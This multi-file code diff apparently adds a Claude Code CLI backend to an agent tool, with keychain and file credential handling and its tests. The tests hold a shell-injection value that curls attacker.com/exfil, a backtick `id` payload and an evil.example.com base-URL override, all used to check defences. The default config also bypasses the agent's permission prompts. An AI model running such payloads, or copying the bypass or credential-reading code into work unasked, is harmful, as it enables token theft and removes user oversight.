import crypto from "node:crypto";
import { loadAuthProfileStoreForRuntime } from "./auth-profiles/store.js";
import type { AuthProfileCredential, AuthProfileStore } from "./auth-profiles/types.js";
import { readCodexCliCredentialsCached, type CodexCliCredential } from "./cli-credentials.js";
import {
readClaudeCliCredentialsCached,
readCodexCliCredentialsCached,
type ClaudeCliCredential,
type CodexCliCredential,
} from "./cli-credentials.js";
type CliAuthEpochDeps = {
readClaudeCliCredentialsCached: typeof readClaudeCliCredentialsCached;
readCodexCliCredentialsCached: typeof readCodexCliCredentialsCached;
loadAuthProfileStoreForRuntime: typeof loadAuthProfileStoreForRuntime;
};
const defaultCliAuthEpochDeps: CliAuthEpochDeps = {
readClaudeCliCredentialsCached,
readCodexCliCredentialsCached,
loadAuthProfileStoreForRuntime,
};
@@ -31,6 +38,19 @@ function encodeUnknown(value: unknown): string {
return JSON.stringify(value ?? null);
}
function encodeClaudeCredential(credential: ClaudeCliCredential): string {
if (credential.type === "oauth") {
return JSON.stringify([
"oauth",
credential.provider,
credential.access,
credential.refresh,
credential.expires,
]);
}
return JSON.stringify(["token", credential.provider, credential.token, credential.expires]);
}
function encodeCodexCredential(credential: CodexCliCredential): string {
return JSON.stringify([
credential.type,
@@ -84,6 +104,13 @@ function encodeAuthProfileCredential(credential: AuthProfileCredential): string
function getLocalCliCredentialFingerprint(provider: string): string | undefined {
switch (provider) {
case "claude-cli": {
const credential = cliAuthEpochDeps.readClaudeCliCredentialsCached({
ttlMs: 5000,
allowKeychainPrompt: false,
});
return credential ? hashCliAuthEpochPart(encodeClaudeCredential(credential)) : undefined;
}
case "codex-cli": {
const credential = cliAuthEpochDeps.readCodexCliCredentialsCached({
ttlMs: 5000,

View File

@@ -3,7 +3,7 @@ import type { OpenClawConfig } from "../config/config.js";
import type { CliBackendConfig } from "../config/types.js";
import { createEmptyPluginRegistry } from "../plugins/registry.js";
import { setActivePluginRegistry } from "../plugins/runtime.js";
import { resolveCliBackendConfig } from "./cli-backends.js";
import { normalizeClaudeBackendConfig, resolveCliBackendConfig } from "./cli-backends.js";
function createBackendEntry(params: {
pluginId: string;
@@ -27,6 +27,60 @@ function createBackendEntry(params: {
beforeEach(() => {
const registry = createEmptyPluginRegistry();
registry.cliBackends = [
createBackendEntry({
pluginId: "anthropic",
id: "claude-cli",
config: {
command: "claude",
args: [
"stream-json",
"--include-partial-messages",
"--verbose",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
],
resumeArgs: [
"stream-json",
"--include-partial-messages",
"--verbose",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
"--resume",
"{sessionId}",
],
output: "jsonl",
input: "stdin",
env: {
CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST: "1",
},
clearEnv: [
"ANTHROPIC_API_KEY",
"ANTHROPIC_API_KEY_OLD",
"ANTHROPIC_AUTH_TOKEN",
"ANTHROPIC_BASE_URL",
"ANTHROPIC_UNIX_SOCKET",
"CLAUDE_CONFIG_DIR",
"CLAUDE_CODE_API_KEY_FILE_DESCRIPTOR",
"CLAUDE_CODE_ENTRYPOINT",
"CLAUDE_CODE_OAUTH_REFRESH_TOKEN",
"CLAUDE_CODE_OAUTH_SCOPES",
"CLAUDE_CODE_OAUTH_TOKEN",
"CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR",
"CLAUDE_CODE_PLUGIN_CACHE_DIR",
"CLAUDE_CODE_PLUGIN_SEED_DIR",
"CLAUDE_CODE_REMOTE",
"CLAUDE_CODE_USE_COWORK_PLUGINS",
"CLAUDE_CODE_USE_BEDROCK",
"CLAUDE_CODE_USE_FOUNDRY",
"CLAUDE_CODE_USE_VERTEX",
],
},
normalizeConfig: normalizeClaudeBackendConfig,
}),
createBackendEntry({
pluginId: "openai",
id: "codex-cli",
@@ -143,6 +197,380 @@ describe("resolveCliBackendConfig reliability merge", () => {
});
});
describe("resolveCliBackendConfig claude-cli defaults", () => {
it("uses non-interactive permission-mode defaults for fresh and resume args", () => {
const resolved = resolveCliBackendConfig("claude-cli");
expect(resolved).not.toBeNull();
expect(resolved?.config.output).toBe("jsonl");
expect(resolved?.config.args).toContain("stream-json");
expect(resolved?.config.args).toContain("--include-partial-messages");
expect(resolved?.config.args).toContain("--verbose");
expect(resolved?.config.args).toContain("--setting-sources");
expect(resolved?.config.args).toContain("user");
expect(resolved?.config.args).toContain("--permission-mode");
expect(resolved?.config.args).toContain("bypassPermissions");
expect(resolved?.config.args).not.toContain("--dangerously-skip-permissions");
expect(resolved?.config.input).toBe("stdin");
expect(resolved?.config.resumeArgs).toContain("stream-json");
expect(resolved?.config.resumeArgs).toContain("--include-partial-messages");
expect(resolved?.config.resumeArgs).toContain("--verbose");
expect(resolved?.config.resumeArgs).toContain("--setting-sources");
expect(resolved?.config.resumeArgs).toContain("user");
expect(resolved?.config.resumeArgs).toContain("--permission-mode");
expect(resolved?.config.resumeArgs).toContain("bypassPermissions");
expect(resolved?.config.resumeArgs).not.toContain("--dangerously-skip-permissions");
});
it("retains default claude safety args when only command is overridden", () => {
const cfg = {
agents: {
defaults: {
cliBackends: {
"claude-cli": {
command: "/usr/local/bin/claude",
},
},
},
},
} satisfies OpenClawConfig;
const resolved = resolveCliBackendConfig("claude-cli", cfg);
expect(resolved).not.toBeNull();
expect(resolved?.config.command).toBe("/usr/local/bin/claude");
expect(resolved?.config.args).toContain("--setting-sources");
expect(resolved?.config.args).toContain("user");
expect(resolved?.config.args).toContain("--permission-mode");
expect(resolved?.config.args).toContain("bypassPermissions");
expect(resolved?.config.resumeArgs).toContain("--setting-sources");
expect(resolved?.config.resumeArgs).toContain("user");
expect(resolved?.config.resumeArgs).toContain("--permission-mode");
expect(resolved?.config.resumeArgs).toContain("bypassPermissions");
expect(resolved?.config.env).toEqual({ CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST: "1" });
expect(resolved?.config.clearEnv).toContain("ANTHROPIC_BASE_URL");
expect(resolved?.config.clearEnv).toContain("CLAUDE_CONFIG_DIR");
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_OAUTH_TOKEN");
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_CACHE_DIR");
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_SEED_DIR");
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_REMOTE");
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_USE_COWORK_PLUGINS");
});
it("normalizes legacy skip-permissions overrides to permission-mode bypassPermissions", () => {
const cfg = {
agents: {
defaults: {
cliBackends: {
"claude-cli": {
command: "claude",
args: ["-p", "--dangerously-skip-permissions", "--output-format", "json"],
resumeArgs: [
"-p",
"--dangerously-skip-permissions",
"--output-format",
"json",
"--resume",
"{sessionId}",
],
},
},
},
},
} satisfies OpenClawConfig;
const resolved = resolveCliBackendConfig("claude-cli", cfg);
expect(resolved).not.toBeNull();
expect(resolved?.config.args).not.toContain("--dangerously-skip-permissions");
expect(resolved?.config.args).toContain("--permission-mode");
expect(resolved?.config.args).toContain("bypassPermissions");
expect(resolved?.config.resumeArgs).not.toContain("--dangerously-skip-permissions");
expect(resolved?.config.resumeArgs).toContain("--permission-mode");
expect(resolved?.config.resumeArgs).toContain("bypassPermissions");
});
it("keeps explicit permission-mode overrides while removing legacy skip flag", () => {
const cfg = {
agents: {
defaults: {
cliBackends: {
"claude-cli": {
command: "claude",
args: ["-p", "--dangerously-skip-permissions", "--permission-mode", "acceptEdits"],
resumeArgs: [
"-p",
"--dangerously-skip-permissions",
"--permission-mode=acceptEdits",
"--resume",
"{sessionId}",
],
},
},
},
},
} satisfies OpenClawConfig;
const resolved = resolveCliBackendConfig("claude-cli", cfg);
expect(resolved).not.toBeNull();
expect(resolved?.config.args).not.toContain("--dangerously-skip-permissions");
expect(resolved?.config.args).toEqual([
"-p",
"--permission-mode",
"acceptEdits",
"--setting-sources",
"user",
]);
expect(resolved?.config.resumeArgs).not.toContain("--dangerously-skip-permissions");
expect(resolved?.config.resumeArgs).toEqual([
"-p",
"--permission-mode=acceptEdits",
"--resume",
"{sessionId}",
"--setting-sources",
"user",
]);
expect(resolved?.config.args).not.toContain("bypassPermissions");
expect(resolved?.config.resumeArgs).not.toContain("bypassPermissions");
});
it("forces project or local setting-source overrides back to user-only", () => {
const cfg = {
agents: {
defaults: {
cliBackends: {
"claude-cli": {
command: "claude",
args: ["-p", "--setting-sources", "project", "--permission-mode", "acceptEdits"],
resumeArgs: [
"-p",
"--setting-sources=local,user",
"--resume",
"{sessionId}",
"--permission-mode=acceptEdits",
],
},
},
},
},
} satisfies OpenClawConfig;
const resolved = resolveCliBackendConfig("claude-cli", cfg);
expect(resolved).not.toBeNull();
expect(resolved?.config.args).toEqual([
"-p",
"--setting-sources",
"user",
"--permission-mode",
"acceptEdits",
]);
expect(resolved?.config.resumeArgs).toEqual([
"-p",
"--setting-sources=user",
"--resume",
"{sessionId}",
"--permission-mode=acceptEdits",
]);
});
it("falls back to user-only setting sources when a custom override leaves the flag without a value", () => {
const cfg = {
agents: {
defaults: {
cliBackends: {
"claude-cli": {
command: "claude",
args: ["-p", "--setting-sources", "--output-format", "stream-json"],
resumeArgs: ["-p", "--setting-sources", "--resume", "{sessionId}"],
},
},
},
},
} satisfies OpenClawConfig;
const resolved = resolveCliBackendConfig("claude-cli", cfg);
expect(resolved).not.toBeNull();
expect(resolved?.config.args).toEqual([
"-p",
"--output-format",
"stream-json",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
]);
expect(resolved?.config.resumeArgs).toEqual([
"-p",
"--resume",
"{sessionId}",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
]);
});
it("falls back to bypassPermissions when a custom override leaves permission-mode without a value", () => {
const cfg = {
agents: {
defaults: {
cliBackends: {
"claude-cli": {
command: "claude",
args: ["-p", "--permission-mode", "--output-format", "stream-json"],
resumeArgs: ["-p", "--permission-mode", "--resume", "{sessionId}"],
},
},
},
},
} satisfies OpenClawConfig;
const resolved = resolveCliBackendConfig("claude-cli", cfg);
expect(resolved).not.toBeNull();
expect(resolved?.config.args).toEqual([
"-p",
"--output-format",
"stream-json",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
]);
expect(resolved?.config.resumeArgs).toEqual([
"-p",
"--resume",
"{sessionId}",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
]);
});
it("injects bypassPermissions when custom args omit any permission flag", () => {
const cfg = {
agents: {
defaults: {
cliBackends: {
"claude-cli": {
command: "claude",
args: ["-p", "--output-format", "stream-json", "--verbose"],
resumeArgs: [
"-p",
"--output-format",
"stream-json",
"--verbose",
"--resume",
"{sessionId}",
],
},
},
},
},
} satisfies OpenClawConfig;
const resolved = resolveCliBackendConfig("claude-cli", cfg);
expect(resolved).not.toBeNull();
expect(resolved?.config.args).toContain("--setting-sources");
expect(resolved?.config.args).toContain("user");
expect(resolved?.config.args).toContain("--permission-mode");
expect(resolved?.config.args).toContain("bypassPermissions");
expect(resolved?.config.resumeArgs).toContain("--setting-sources");
expect(resolved?.config.resumeArgs).toContain("user");
expect(resolved?.config.resumeArgs).toContain("--permission-mode");
expect(resolved?.config.resumeArgs).toContain("bypassPermissions");
});
it("keeps hardened clearEnv defaults when custom claude env overrides are merged", () => {
const cfg = {
agents: {
defaults: {
cliBackends: {
"claude-cli": {
command: "claude",
env: {
SAFE_CUSTOM: "ok",
ANTHROPIC_BASE_URL: "https://evil.example.com/v1",
},
clearEnv: ["EXTRA_CLEAR"],
},
},
},
},
} satisfies OpenClawConfig;
const resolved = resolveCliBackendConfig("claude-cli", cfg);
expect(resolved).not.toBeNull();
expect(resolved?.config.env).toEqual({
CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST: "1",
SAFE_CUSTOM: "ok",
ANTHROPIC_BASE_URL: "https://evil.example.com/v1",
});
expect(resolved?.config.clearEnv).toContain("ANTHROPIC_BASE_URL");
expect(resolved?.config.clearEnv).toContain("CLAUDE_CONFIG_DIR");
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_OAUTH_TOKEN");
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_CACHE_DIR");
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_SEED_DIR");
expect(resolved?.config.clearEnv).toContain("EXTRA_CLEAR");
});
it("normalizes override-only claude-cli config when the plugin registry is absent", () => {
const registry = createEmptyPluginRegistry();
setActivePluginRegistry(registry);
const cfg = {
agents: {
defaults: {
cliBackends: {
"claude-cli": {
command: "/usr/local/bin/claude",
args: ["-p", "--output-format", "json"],
resumeArgs: ["-p", "--output-format", "json", "--resume", "{sessionId}"],
},
},
},
},
} satisfies OpenClawConfig;
const resolved = resolveCliBackendConfig("claude-cli", cfg);
expect(resolved).not.toBeNull();
expect(resolved?.bundleMcp).toBe(true);
expect(resolved?.config.args).toEqual([
"-p",
"--output-format",
"json",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
]);
expect(resolved?.config.resumeArgs).toEqual([
"-p",
"--output-format",
"json",
"--resume",
"{sessionId}",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
]);
expect(resolved?.config.systemPromptArg).toBe("--append-system-prompt");
expect(resolved?.config.systemPromptWhen).toBe("first");
expect(resolved?.config.sessionArg).toBe("--session-id");
expect(resolved?.config.sessionMode).toBe("always");
expect(resolved?.config.input).toBe("stdin");
expect(resolved?.config.output).toBe("jsonl");
});
});
describe("resolveCliBackendConfig google-gemini-cli defaults", () => {
it("uses Gemini CLI json args and existing-session resume mode", () => {
const resolved = resolveCliBackendConfig("google-gemini-cli");

View File

@@ -11,6 +11,11 @@ export type ResolvedCliBackend = {
pluginId?: string;
};
export function normalizeClaudeBackendConfig(config: CliBackendConfig): CliBackendConfig {
const normalizeConfig = resolveFallbackCliBackendPolicy("claude-cli")?.normalizeConfig;
return normalizeConfig ? normalizeConfig(config) : config;
}
type FallbackCliBackendPolicy = {
bundleMcp: boolean;
baseConfig?: CliBackendConfig;

View File

@@ -6,12 +6,31 @@ import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vite
const execSyncMock = vi.fn();
const execFileSyncMock = vi.fn();
const CLI_CREDENTIALS_CACHE_TTL_MS = 15 * 60 * 1000;
let readClaudeCliCredentialsCached: typeof import("./cli-credentials.js").readClaudeCliCredentialsCached;
let readCodexCliCredentialsCached: typeof import("./cli-credentials.js").readCodexCliCredentialsCached;
let resetCliCredentialCachesForTest: typeof import("./cli-credentials.js").resetCliCredentialCachesForTest;
let writeClaudeCliKeychainCredentials: typeof import("./cli-credentials.js").writeClaudeCliKeychainCredentials;
let writeClaudeCliCredentials: typeof import("./cli-credentials.js").writeClaudeCliCredentials;
let readCodexCliCredentials: typeof import("./cli-credentials.js").readCodexCliCredentials;
let writeCodexCliCredentials: typeof import("./cli-credentials.js").writeCodexCliCredentials;
let writeCodexCliFileCredentials: typeof import("./cli-credentials.js").writeCodexCliFileCredentials;
function mockExistingClaudeKeychainItem() {
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
const argv = Array.isArray(args) ? args.map(String) : [];
if (String(file) === "security" && argv.includes("find-generic-password")) {
return JSON.stringify({
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
});
}
return "";
});
}
function getAddGenericPasswordCall() {
return execFileSyncMock.mock.calls.find(
([binary, args]) =>
@@ -21,17 +40,41 @@ function getAddGenericPasswordCall() {
);
}
async function readCachedClaudeCliCredentials(allowKeychainPrompt: boolean) {
return readClaudeCliCredentialsCached({
allowKeychainPrompt,
ttlMs: CLI_CREDENTIALS_CACHE_TTL_MS,
platform: "darwin",
execSync: execSyncMock,
});
}
function createJwtWithExp(expSeconds: number): string {
const encode = (value: Record<string, unknown>) =>
Buffer.from(JSON.stringify(value)).toString("base64url");
return `${encode({ alg: "RS256", typ: "JWT" })}.${encode({ exp: expSeconds })}.signature`;
}
function mockClaudeCliCredentialRead() {
execSyncMock.mockImplementation(() =>
JSON.stringify({
claudeAiOauth: {
accessToken: `token-${Date.now()}`,
refreshToken: "cached-refresh",
expiresAt: Date.now() + 60_000,
},
}),
);
}
describe("cli credentials", () => {
beforeAll(async () => {
({
readClaudeCliCredentialsCached,
readCodexCliCredentialsCached,
resetCliCredentialCachesForTest,
writeClaudeCliKeychainCredentials,
writeClaudeCliCredentials,
readCodexCliCredentials,
writeCodexCliCredentials,
writeCodexCliFileCredentials,
@@ -50,6 +93,155 @@ describe("cli credentials", () => {
resetCliCredentialCachesForTest();
});
it("updates the Claude Code keychain item in place", async () => {
mockExistingClaudeKeychainItem();
const ok = writeClaudeCliKeychainCredentials(
{
access: "new-access",
refresh: "new-refresh",
expires: Date.now() + 60_000,
},
{ execFileSync: execFileSyncMock },
);
expect(ok).toBe(true);
// Verify execFileSync was called with array args (no shell interpretation)
expect(execFileSyncMock).toHaveBeenCalledTimes(2);
const addCall = getAddGenericPasswordCall();
expect(addCall?.[0]).toBe("security");
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
});
it.each([
{
access: "x'$(curl attacker.com/exfil)'y",
refresh: "safe-refresh",
expectedPayload: "x'$(curl attacker.com/exfil)'y",
},
{
access: "safe-access",
refresh: "token`id`value",
expectedPayload: "token`id`value",
},
] as const)(
"prevents shell injection via untrusted token payload value $expectedPayload",
async ({ access, refresh, expectedPayload }) => {
execFileSyncMock.mockClear();
mockExistingClaudeKeychainItem();
const ok = writeClaudeCliKeychainCredentials(
{
access,
refresh,
expires: Date.now() + 60_000,
},
{ execFileSync: execFileSyncMock },
);
expect(ok).toBe(true);
// Token payloads must remain literal in argv, never shell-interpreted.
const addCall = getAddGenericPasswordCall();
const args = (addCall?.[1] as string[] | undefined) ?? [];
const wIndex = args.indexOf("-w");
const passwordValue = args[wIndex + 1];
expect(passwordValue).toContain(expectedPayload);
expect(addCall?.[0]).toBe("security");
},
);
it("falls back to the file store when the keychain update fails", async () => {
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-"));
const credPath = path.join(tempDir, ".claude", ".credentials.json");
fs.mkdirSync(path.dirname(credPath), { recursive: true, mode: 0o700 });
fs.writeFileSync(
credPath,
`${JSON.stringify(
{
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
},
null,
2,
)}\n`,
"utf8",
);
const writeKeychain = vi.fn(() => false);
const ok = writeClaudeCliCredentials(
{
access: "new-access",
refresh: "new-refresh",
expires: Date.now() + 120_000,
},
{
platform: "darwin",
homeDir: tempDir,
writeKeychain,
},
);
expect(ok).toBe(true);
expect(writeKeychain).toHaveBeenCalledTimes(1);
const updated = JSON.parse(fs.readFileSync(credPath, "utf8")) as {
claudeAiOauth?: {
accessToken?: string;
refreshToken?: string;
expiresAt?: number;
};
};
expect(updated.claudeAiOauth?.accessToken).toBe("new-access");
expect(updated.claudeAiOauth?.refreshToken).toBe("new-refresh");
expect(updated.claudeAiOauth?.expiresAt).toBeTypeOf("number");
});
it.each([
{
name: "caches Claude Code CLI credentials within the TTL window",
allowKeychainPromptSecondRead: false,
advanceMs: 0,
expectedCalls: 1,
expectSameObject: true,
},
{
name: "refreshes Claude Code CLI credentials after the TTL window",
allowKeychainPromptSecondRead: true,
advanceMs: CLI_CREDENTIALS_CACHE_TTL_MS + 1,
expectedCalls: 2,
expectSameObject: false,
},
] as const)(
"$name",
async ({ allowKeychainPromptSecondRead, advanceMs, expectedCalls, expectSameObject }) => {
mockClaudeCliCredentialRead();
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
const first = await readCachedClaudeCliCredentials(true);
if (advanceMs > 0) {
vi.advanceTimersByTime(advanceMs);
}
const second = await readCachedClaudeCliCredentials(allowKeychainPromptSecondRead);
expect(first).toBeTruthy();
expect(second).toBeTruthy();
if (expectSameObject) {
expect(second).toEqual(first);
} else {
expect(second).not.toEqual(first);
}
expect(execSyncMock).toHaveBeenCalledTimes(expectedCalls);
},
);
it("reads Codex credentials from keychain when available", async () => {
const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-"));
process.env.CODEX_HOME = tempHome;

View File

@@ -9,9 +9,13 @@ import type { OAuthCredentials, OAuthProvider } from "./auth-profiles/types.js";
const log = createSubsystemLogger("agents/auth-profiles");
const CLAUDE_CLI_CREDENTIALS_RELATIVE_PATH = ".claude/.credentials.json";
const CODEX_CLI_AUTH_FILENAME = "auth.json";
const MINIMAX_CLI_CREDENTIALS_RELATIVE_PATH = ".minimax/oauth_creds.json";
const CLAUDE_CLI_KEYCHAIN_SERVICE = "Claude Code-credentials";
const CLAUDE_CLI_KEYCHAIN_ACCOUNT = "Claude Code";
type CachedValue<T> = {
value: T | null;
readAt: number;
@@ -19,14 +23,31 @@ type CachedValue<T> = {
sourceFingerprint?: number | string | null;
};
let claudeCliCache: CachedValue<ClaudeCliCredential> | null = null;
let codexCliCache: CachedValue<CodexCliCredential> | null = null;
let minimaxCliCache: CachedValue<MiniMaxCliCredential> | null = null;
export function resetCliCredentialCachesForTest(): void {
claudeCliCache = null;
codexCliCache = null;
minimaxCliCache = null;
}
export type ClaudeCliCredential =
| {
type: "oauth";
provider: "anthropic";
access: string;
refresh: string;
expires: number;
}
| {
type: "token";
provider: "anthropic";
token: string;
expires: number;
};
export type CodexCliCredential = {
type: "oauth";
provider: OAuthProvider;
@@ -44,6 +65,16 @@ export type MiniMaxCliCredential = {
expires: number;
};
type ClaudeCliFileOptions = {
homeDir?: string;
};
type ClaudeCliWriteOptions = ClaudeCliFileOptions & {
platform?: NodeJS.Platform;
writeKeychain?: (credentials: OAuthCredentials) => boolean;
writeFile?: (credentials: OAuthCredentials, options?: ClaudeCliFileOptions) => boolean;
};
type CodexCliFileOptions = {
codexHome?: string;
};
@@ -67,6 +98,42 @@ type CodexCliWriteOptions = CodexCliFileOptions & {
type ExecSyncFn = typeof execSync;
type ExecFileSyncFn = typeof execFileSync;
function resolveClaudeCliCredentialsPath(homeDir?: string) {
const baseDir = homeDir ?? resolveUserPath("~");
return path.join(baseDir, CLAUDE_CLI_CREDENTIALS_RELATIVE_PATH);
}
function parseClaudeCliOauthCredential(claudeOauth: unknown): ClaudeCliCredential | null {
if (!claudeOauth || typeof claudeOauth !== "object") {
return null;
}
const accessToken = (claudeOauth as Record<string, unknown>).accessToken;
const refreshToken = (claudeOauth as Record<string, unknown>).refreshToken;
const expiresAt = (claudeOauth as Record<string, unknown>).expiresAt;
if (typeof accessToken !== "string" || !accessToken) {
return null;
}
if (typeof expiresAt !== "number" || !Number.isFinite(expiresAt) || expiresAt <= 0) {
return null;
}
if (typeof refreshToken === "string" && refreshToken) {
return {
type: "oauth",
provider: "anthropic",
access: accessToken,
refresh: refreshToken,
expires: expiresAt,
};
}
return {
type: "token",
provider: "anthropic",
token: accessToken,
expires: expiresAt,
};
}
function resolveCodexHomePath(codexHome?: string) {
const configured = codexHome ?? process.env.CODEX_HOME;
const home = configured ? resolveUserPath(configured) : resolveUserPath("~/.codex");
@@ -277,6 +344,191 @@ function readMiniMaxCliCredentials(options?: { homeDir?: string }): MiniMaxCliCr
return readPortalCliOauthCredentials(credPath, "minimax-portal");
}
function readClaudeCliKeychainCredentials(
execSyncImpl: ExecSyncFn = execSync,
): ClaudeCliCredential | null {
try {
const result = execSyncImpl(
`security find-generic-password -s "${CLAUDE_CLI_KEYCHAIN_SERVICE}" -w`,
{ encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] },
);
const data = JSON.parse(result.trim());
return parseClaudeCliOauthCredential(data?.claudeAiOauth);
} catch {
return null;
}
}
export function readClaudeCliCredentials(options?: {
allowKeychainPrompt?: boolean;
platform?: NodeJS.Platform;
homeDir?: string;
execSync?: ExecSyncFn;
}): ClaudeCliCredential | null {
const platform = options?.platform ?? process.platform;
if (platform === "darwin" && options?.allowKeychainPrompt !== false) {
const keychainCreds = readClaudeCliKeychainCredentials(options?.execSync);
if (keychainCreds) {
log.info("read anthropic credentials from claude cli keychain", {
type: keychainCreds.type,
});
return keychainCreds;
}
}
const credPath = resolveClaudeCliCredentialsPath(options?.homeDir);
const raw = loadJsonFile(credPath);
if (!raw || typeof raw !== "object") {
return null;
}
const data = raw as Record<string, unknown>;
return parseClaudeCliOauthCredential(data.claudeAiOauth);
}
export function readClaudeCliCredentialsCached(options?: {
allowKeychainPrompt?: boolean;
ttlMs?: number;
platform?: NodeJS.Platform;
homeDir?: string;
execSync?: ExecSyncFn;
}): ClaudeCliCredential | null {
return readCachedCliCredential({
ttlMs: options?.ttlMs ?? 0,
cache: claudeCliCache,
cacheKey: resolveClaudeCliCredentialsPath(options?.homeDir),
read: () =>
readClaudeCliCredentials({
allowKeychainPrompt: options?.allowKeychainPrompt,
platform: options?.platform,
homeDir: options?.homeDir,
execSync: options?.execSync,
}),
setCache: (next) => {
claudeCliCache = next;
},
});
}
export function writeClaudeCliKeychainCredentials(
newCredentials: OAuthCredentials,
options?: { execFileSync?: ExecFileSyncFn },
): boolean {
const execFileSyncImpl = options?.execFileSync ?? execFileSync;
try {
const existingResult = execFileSyncImpl(
"security",
["find-generic-password", "-s", CLAUDE_CLI_KEYCHAIN_SERVICE, "-w"],
{ encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] },
);
const existingData = JSON.parse(existingResult.trim());
const existingOauth = existingData?.claudeAiOauth;
if (!existingOauth || typeof existingOauth !== "object") {
return false;
}
existingData.claudeAiOauth = {
...existingOauth,
accessToken: newCredentials.access,
refreshToken: newCredentials.refresh,
expiresAt: newCredentials.expires,
};
const newValue = JSON.stringify(existingData);
// Use execFileSync to avoid shell interpretation of user-controlled token values.
// This prevents command injection via $() or backtick expansion in OAuth tokens.
execFileSyncImpl(
"security",
[
"add-generic-password",
"-U",
"-s",
CLAUDE_CLI_KEYCHAIN_SERVICE,
"-a",
CLAUDE_CLI_KEYCHAIN_ACCOUNT,
"-w",
newValue,
],
{ encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] },
);
log.info("wrote refreshed credentials to claude cli keychain", {
expires: new Date(newCredentials.expires).toISOString(),
});
return true;
} catch (error) {
log.warn("failed to write credentials to claude cli keychain", {
error: error instanceof Error ? error.message : String(error),
});
return false;
}
}
export function writeClaudeCliFileCredentials(
newCredentials: OAuthCredentials,
options?: ClaudeCliFileOptions,
): boolean {
const credPath = resolveClaudeCliCredentialsPath(options?.homeDir);
if (!fs.existsSync(credPath)) {
return false;
}
try {
const raw = loadJsonFile(credPath);
if (!raw || typeof raw !== "object") {
return false;
}
const data = raw as Record<string, unknown>;
const existingOauth = data.claudeAiOauth as Record<string, unknown> | undefined;
if (!existingOauth || typeof existingOauth !== "object") {
return false;
}
data.claudeAiOauth = {
...existingOauth,
accessToken: newCredentials.access,
refreshToken: newCredentials.refresh,
expiresAt: newCredentials.expires,
};
saveJsonFile(credPath, data);
log.info("wrote refreshed credentials to claude cli file", {
expires: new Date(newCredentials.expires).toISOString(),
});
return true;
} catch (error) {
log.warn("failed to write credentials to claude cli file", {
error: error instanceof Error ? error.message : String(error),
});
return false;
}
}
export function writeClaudeCliCredentials(
newCredentials: OAuthCredentials,
options?: ClaudeCliWriteOptions,
): boolean {
const platform = options?.platform ?? process.platform;
const writeKeychain = options?.writeKeychain ?? writeClaudeCliKeychainCredentials;
const writeFile =
options?.writeFile ??
((credentials, fileOptions) => writeClaudeCliFileCredentials(credentials, fileOptions));
if (platform === "darwin") {
const didWriteKeychain = writeKeychain(newCredentials);
if (didWriteKeychain) {
return true;
}
}
return writeFile(newCredentials, { homeDir: options?.homeDir });
}
function buildUpdatedCodexAuthRecord(
existing: Record<string, unknown> | null,
newCredentials: OAuthCredentials,

View File

@@ -121,7 +121,7 @@ describe("parseCliJson", () => {
});
describe("parseCliJsonl", () => {
it("parses generic jsonl result events", () => {
it("parses Claude stream-json result events", () => {
const result = parseCliJsonl(
[
JSON.stringify({ type: "init", session_id: "session-123" }),
@@ -137,11 +137,11 @@ describe("parseCliJsonl", () => {
}),
].join("\n"),
{
command: "codex",
command: "claude",
output: "jsonl",
sessionIdFields: ["session_id"],
},
"codex-cli",
"claude-cli",
);
expect(result).toEqual({
@@ -157,7 +157,7 @@ describe("parseCliJsonl", () => {
});
});
it("preserves cache creation tokens instead of flattening them to zero", () => {
it("preserves Claude cache creation tokens instead of flattening them to zero", () => {
const result = parseCliJsonl(
[
JSON.stringify({ type: "init", session_id: "session-cache-123" }),
@@ -174,11 +174,11 @@ describe("parseCliJsonl", () => {
}),
].join("\n"),
{
command: "codex",
command: "claude",
output: "jsonl",
sessionIdFields: ["session_id"],
},
"codex-cli",
"claude-cli",
);
expect(result).toEqual({
@@ -194,15 +194,50 @@ describe("parseCliJsonl", () => {
});
});
it("preserves Claude session metadata even when the final result text is empty", () => {
const result = parseCliJsonl(
[
JSON.stringify({ type: "init", session_id: "session-456" }),
JSON.stringify({
type: "result",
session_id: "session-456",
result: " ",
usage: {
input_tokens: 18,
output_tokens: 0,
},
}),
].join("\n"),
{
command: "claude",
output: "jsonl",
sessionIdFields: ["session_id"],
},
"claude-cli",
);
expect(result).toEqual({
text: "",
sessionId: "session-456",
usage: {
input: 18,
output: undefined,
cacheRead: undefined,
cacheWrite: undefined,
total: undefined,
},
});
});
it("parses multiple JSON objects embedded on the same line", () => {
const result = parseCliJsonl(
'{"type":"init","session_id":"session-999"} {"type":"result","session_id":"session-999","result":"done"}',
{
command: "codex",
command: "claude",
output: "jsonl",
sessionIdFields: ["session_id"],
},
"codex-cli",
"claude-cli",
);
expect(result).toEqual({

View File

@@ -1,4 +1,5 @@
